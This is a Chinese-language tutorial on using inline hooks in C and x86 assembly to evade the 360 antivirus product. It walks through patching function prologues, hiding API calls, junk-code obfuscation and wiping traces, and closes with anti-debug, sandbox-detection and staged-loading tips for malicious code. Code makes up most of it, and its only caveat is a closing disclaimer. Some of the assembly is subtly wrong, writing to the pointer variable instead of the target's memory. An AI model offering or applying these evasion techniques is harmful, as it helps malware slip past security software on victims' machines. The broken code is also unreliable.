inline hook实现免杀360
字数 697 2025-08-06 20:12:41
Inline Hook实现360免杀技术详解
一、Inline Hook基础原理
Inline Hook是一种通过修改目标函数内存中的机器码来实现函数劫持的技术,主要原理如下:
- 函数入口修改:在目标函数开头插入跳转指令(JMP),将执行流重定向到自定义函数
- 原始功能保留:在执行自定义逻辑后,需调用原始函数保证程序正常运行
- 指令修复:处理被覆盖的原始指令,确保上下文完整性
二、免杀360的关键技术要点
1. 内存属性修改
360会对关键API进行监控,需先修改内存属性为可写:
DWORD oldProtect;
VirtualProtect(targetFunc, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
2. 跳转指令构造
构造5字节的JMP指令(32位):
BYTE jmpCode[5] = { 0xE9, 0x00, 0x00, 0x00, 0x00 };
DWORD offset = (DWORD)hookFunc - (DWORD)targetFunc - 5;
*(DWORD*)(jmpCode + 1) = offset;
3. 原始指令备份与修复
备份被覆盖的原始指令:
BYTE originalCode[5];
memcpy(originalCode, targetFunc, 5);
4. 跳板函数设计
跳板函数需包含:
__declspec(naked) void HookTrampoline() {
__asm {
// 恢复原始指令
mov eax, [originalCode]
mov [targetFunc], eax
mov al, [originalCode+4]
mov [targetFunc+4], al
// 调用原始函数
push ebp
mov ebp, esp
jmp targetFunc+5
}
}
三、针对360的对抗技术
1. 动态API调用
避免直接调用敏感API:
HMODULE hModule = LoadLibrary("kernel32.dll");
FARPROC pFunc = GetProcAddress(hModule, "VirtualAlloc");
2. 代码混淆
使用花指令和垃圾代码干扰静态分析:
__asm {
nop
nop
jz $+2
jnz $+2
nop
}
3. 内存擦除
执行后清除痕迹:
SecureZeroMemory(jmpCode, sizeof(jmpCode));
VirtualProtect(targetFunc, 5, oldProtect, &oldProtect);
4. 延迟加载
避免启动时立即挂钩:
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)HookThread, NULL, 0, NULL);
四、完整实现示例
#include <windows.h>
BYTE originalCode[5];
FARPROC targetFunc;
__declspec(naked) void HookTrampoline() {
__asm {
// 恢复原始指令
mov eax, dword ptr [originalCode]
mov dword ptr [targetFunc], eax
mov al, byte ptr [originalCode+4]
mov byte ptr [targetFunc+4], al
// 自定义逻辑
pushad
// 这里添加你的免杀逻辑
popad
// 调用原始函数
push ebp
mov ebp, esp
jmp targetFunc+5
}
}
BOOL InstallHook() {
// 获取目标函数地址
HMODULE hModule = LoadLibrary("target.dll");
targetFunc = GetProcAddress(hModule, "TargetFunction");
// 修改内存属性
DWORD oldProtect;
if (!VirtualProtect(targetFunc, 5, PAGE_EXECUTE_READWRITE, &oldProtect))
return FALSE;
// 备份原始指令
memcpy(originalCode, targetFunc, 5);
// 构造跳转指令
BYTE jmpCode[5] = { 0xE9, 0x00, 0x00, 0x00, 0x00 };
DWORD offset = (DWORD)HookTrampoline - (DWORD)targetFunc - 5;
*(DWORD*)(jmpCode + 1) = offset;
// 安装Hook
memcpy(targetFunc, jmpCode, 5);
// 恢复内存属性
VirtualProtect(targetFunc, 5, oldProtect, &oldProtect);
return TRUE;
}
五、检测规避技巧
- 反调试检测:检查IsDebuggerPresent、CheckRemoteDebuggerPresent等
- 时间差检测:在关键操作前后加入随机延迟
- 环境检测:检查是否运行在沙箱或虚拟机中
- 多阶段加载:分批次加载恶意代码,降低一次性检测风险
六、注意事项
- 不同Windows版本API函数前导指令可能不同,需动态适应
- 64位系统需使用相对跳转的"JMP QWORD PTR [RIP+offset]"形式
- 多线程环境下需考虑线程同步问题
- 确保原始功能完整恢复,避免程序崩溃
以上技术仅供安全研究使用,请勿用于非法用途。